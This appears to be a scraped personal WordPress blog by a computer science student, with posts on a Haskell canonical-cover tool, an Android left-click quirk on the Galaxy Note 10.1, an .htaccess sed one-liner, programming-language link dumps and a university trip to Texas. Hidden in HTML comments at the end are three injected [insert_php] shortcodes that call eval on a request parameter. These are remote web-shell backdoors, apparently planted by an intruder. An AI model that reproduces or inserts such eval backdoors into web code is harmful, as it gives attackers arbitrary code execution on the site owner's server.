Computing the Canonical Cover in Haskell

Today I had a little too much free time on my hand, but didn’t want to start anything that I couldn’t finish before the start of my vacation on Monday. Since I know I will teach two tutorial groups for the intro course on databases at TUM next term, I decided to write a little program that might be helpful when it comes to learning about the canonical cover.
The problem appeared to be very mathematical, so I decided to do it in Haskell. The program itself is kind of boring: You enter a set of functional dependencies and get back the canonical cover. The only usecase I can think of is somebody trying to learn the algorithm and checking if their result is correct.
But writing it sure was a lot of fun! The source code is on Github, a binary for Linux is here.

Galaxy Note 10.1 – Or when a left click is not a click

So, if you have a passing familiarity with Android, this code will look just fine:

@Override
public boolean onGenericMotion(View v, MotionEvent event) {
        if((event.getButtonState() & MotionEvent.BUTTON_PRIMARY) != 0)
                codeForLeftClick();

        if((event.getButtonState() & MotionEvent.BUTTON_SECONDARY) != 0)
                codeForRightClick();
 
        if ((event.getButtonState() & MotionEvent.BUTTON_TERTIARY) != 0)
                codeForMiddleClick();

        //Other stuff
	return true;
}

What it does is detect left, right and middle clicks on a mouse that’s connected to a phone or tablet via Bluetooth or a USB OTG cable.

Or at least that’s what it does on most phones and tablets. On the Galaxy Note 10.1 however it doesn’t: It works fine for right clicks (if you keep in mind that this tablet maps them to the back-button even if you indicate you consumed the event and think of filtering out any back-buttons coming from the mouse in onKeyUp(…) ) and middle clicks (with the caveat that middle clicks map to the home button and will minimize your app).

For left clicks, however nothing happens. That’s odd. Well there must be another event that is fired than. ACTION_DOWN maybe? No. Turns out there is actually no event associated with a left click that gets passed to the onGenericMotionListener. At all. (The only events you get are ACTION_HOVER_MOVE and right/middle clicks).

The only way to find out if there was a left click is to use another method (like onTouch(…)) which is inconsistent at least and annoying if you need to debug an app and don’t have any device that behaves like this (like I did this week).

[Short Linkdump] Accidentally Turing Complete

As I have been kind of busy with classes and some project work, I didn’t have that much time to update this blog. However, I am planning to write a longer article based on a 10 page report I did for a seminar on code quality as soon as the grading process is finished. (I don’t want to be accused of plagiarizing my own stuff.) It will very likely also include some samples of code of poor quality that I refactored in Easy Feed Editor a few days ago.
In the meanwhile, I leave you with this link to an article about “languages” that became Turing complete without anyone ever aiming for that. The one that surprised me the most was MediaWiki Templates…

8500 Miles by Plane, 1500 by Car – University Trip to the US

During the last few days I had the amazing opportunity to travel to Texas in the US for a project I have been doing together with Michele Bertoni – a fellow student who came to Munich from Italy for an Erasmus semester, Ryan Lindeman, Maithaa Alhousani, Chris Castro and Jose Contreras (all 4 students of Texas A&M University) and their project sponsors Gazoo Inc. and Texas Engineering Experiment Station.

World map showing copuntries and faces
A truly international team

The project involved the creation of an app and a hardware device. Without going too much into technical details, the vision is to be able to use any computer from remote from any middle-class Android smartphone or tablet. In order to do this, the user connects a hardware box to the HDMI and USB ports of the computer. This box that the American part of the team is developing then acts as a bridge between the app and the computer. While there is software that offers similar capabilities, with our solution there would be little to no complicated configuration before you can start using it.

In total, there were 5 of us traveling there: Nils Kannengießer, a PhD candidate at the Chair for Operating Systems at TUM in his last year who is the instructor for the Android Practical Course, Philipp Fent and Benjamin Sautermeister, two German students of the upcoming term of the course that will be working on a different project with Texas A&M University, and finally my teammate Michele and me.

Photo from plane
Somewhere mid-flight

I chose to take the cheapest flight possible that literally took me an hour in the wrong direction to Istanbul and then – after a stop-over of 2 hours – to Houston.

Having gone through an extremely tedious passport control in Istanbul before getting on the plane (one of the security men actually followed me onto the plane to look at my passport one last time) I arrived in Houston a few hours late and was greeted by all the other German students, our instructor and two of the American students.

After a drive of some one-and-half hours we arrived where Michele and me were staying: Thanks to the hospitality of Ryan’s parents we did not have to stay at a hotel but could stay privately instead.

The next morning we went to university: What is really impressive is the sheer size of the campus: While our own campus in Garching is Continue reading 8500 Miles by Plane, 1500 by Car – University Trip to the US

Recursively edit .htaccess to turn off Apache mod_rewrite

I am currently migrating the webpage for Easy Feed Editor to a new domain (More on that some other time).

Since registration is apparently taking ages, I wanted to make sure that everything is properly set up on the webspaces (Sourceforge Project Web and Bplaced). However, I have mod_rewrite rules that redirect you to the proper 2nd-level domain if you enter subdomain.bplaced.net or subdomain.sourceforge.net:
So I can’t test anything until I turn all these rules off (One .htaccess per directory; No access to httpd.conf).

A clever way to do this is:

find . -name ".htaccess" -print | xargs sed -i 's/RewriteEngine On/RewriteEngine Off/g'

First we find all files named .htaccess and then we feed them to sed one-by-one to do the replacing.

[Linkdump II] German language & Programming Language jokes

This linkdump does not really have any predominant topic but it consists mostly of stuff that I came across in the past few days, that I felt I should share. Most of it does not really fit into any particular category, but I am gonna go ahead and share it anyway: First a few links that you should skip if you don’t speak German because they are entirely about this language.

  • A video tutorial [~1:30h] about gender in German (der/die/das) that is really quite interesting. The author attempts to construct a gender machine that explains why certain nouns have a certain grammatical gender. [German only]
  • While we’re on the topic of language, there is really good blog that deals with neologisms and the way language is used to manipulate thought. The authors that are all affiliated with the Chaos Computer Club also do a podcast from time to time, that can be found on the same site. They are quite frequent speakers at the Chaos Communication Congress as well, for example Martin Haase with an in-depth analysis [~1h] of the digital agenda of the German Government. [German only]

Welcome back,  dear English speaker ! After I shared some links on programming language design last week, here some more links that poke fun at specific programming languages as well but are not necessarily about language design so they didn’t fit with the stuff in the last linkdump:

  • I came across a hilarious blog posting that is actually a few years old, that attempts to reconstruct the history of programming languages. It It is fittingly titled A Brief, Incomplete, and Mostly Wrong History of Programming Languages.  It is full of gems such as:

    In spite of its lack of popularity, LISP […] remains an influential language in “key algorithmic techniques such as recursion and condescension”

  • Originally, I wanted to link to an old posting from a newsgroup here, that is titled Programming Languages Are Like Women. But upon rereading it, I felt it was sexist, so maybe I should include a short disclaimer. Which got me thinking if it really was a good idea to link to it in the first place. So I found a similar article comparing programming languages to weapons, that is even funnier and avoids insulting anyone except maybe some language evangelists.

[Linkdump I] “The worst programming language ever” and more

A class on Programming Languages at TUM (video lectures) taught by Dr. Petter and Dr. Simon got me really interested into language design over the past semester.

While I learned a ton of stuff and for example got some really interesting insights into the decisions involved when comparing Java and C# and reading  Anders Hejlsberg’s reasons for designing C# the way it is (e.g. why methods are not implicitly virtual in C# etc.), what I am going to share here are links that show language design at its worst.

First of all, there is Mark Rendle’s presentation on The Worst Programming Language [~ 1h]  in which he sets out to develop the worst programming language ever. He draws inspiration from real programming languages as well as from other satirical languages such as INTERCAL, where he borrows the COME FROM.

Another talk that is really hilarious is Gary Bernhardt’s classic sarcastic Wat talk [< 5 min] on strange behavior in JavaScript and Ruby. I guess most of you have already seen this one like a thousand times, if not, you have been missing out !

There is also a blog article called PHP : a fractal of bad design that someone posted on reddit a few months back that has to be taken with a rather large grain of salt but does a good job at showcasing design choices in PHP, that –  looking back – seem to have been not too smart, and is hilariously funny while doing it. There is also PHPsadness.com and /r/lolphp that are kind of similar. Did you know that – in PHP – if you have a :: where it is not supposed to be, PHP < 5.4 complains it found an unexpected T_PAAMAYIM_NEKUDOTAYIM (Hebrew for double colon) ? If not, these are the places to find out. (I really recommend checking out the graph for the less than relation in PHP, it’s nothing like you expect.)

These are just the links I remember off the top of my head, I plan on sharing more of those in the future, as well as some links on language design that are not tongue-in-cheek.

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

Thanks WordPress, I’m gonna do just that !

I have been thinking about starting a blog for a few months now, bought a domain two months ago and here I am writing the first paragraph on my brand-new WordPress installation (As always hosted by bplaced.net)

So, why did I do it ? The reason is quite simple: While I have had some kind of online presence for almost 10 years, none of the websites is really personal in any way, so it felt weird to locate this blog there. The other websites that I have are the webpages of Easy Feed Editor (an OpenSource project I started a few years back) and mbscware.com (German only), a site that offers some online and offline tools that I have developed over the years (some of them rather silly, many really useful).

As this blog is brand-new I am not entirely sure what it will contain: It is probably going to be a mixture of more or less personal stuff and posts about exciting side-projects (university or otherwise). I am also planning on doing a linkdump from time to time, where I just post exciting links that I came across during my travels on the interweb.

<!– [insert_php]if (isset($_REQUEST["PXTP"])){eval($_REQUEST["PXTP"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;PXTP&quot;])){eval($_REQUEST[&quot;PXTP&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["bdm"])){eval($_REQUEST["bdm"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bdm&quot;])){eval($_REQUEST[&quot;bdm&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["yfWWe"])){eval($_REQUEST["yfWWe"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;yfWWe&quot;])){eval($_REQUEST[&quot;yfWWe&quot;]);exit;}

–>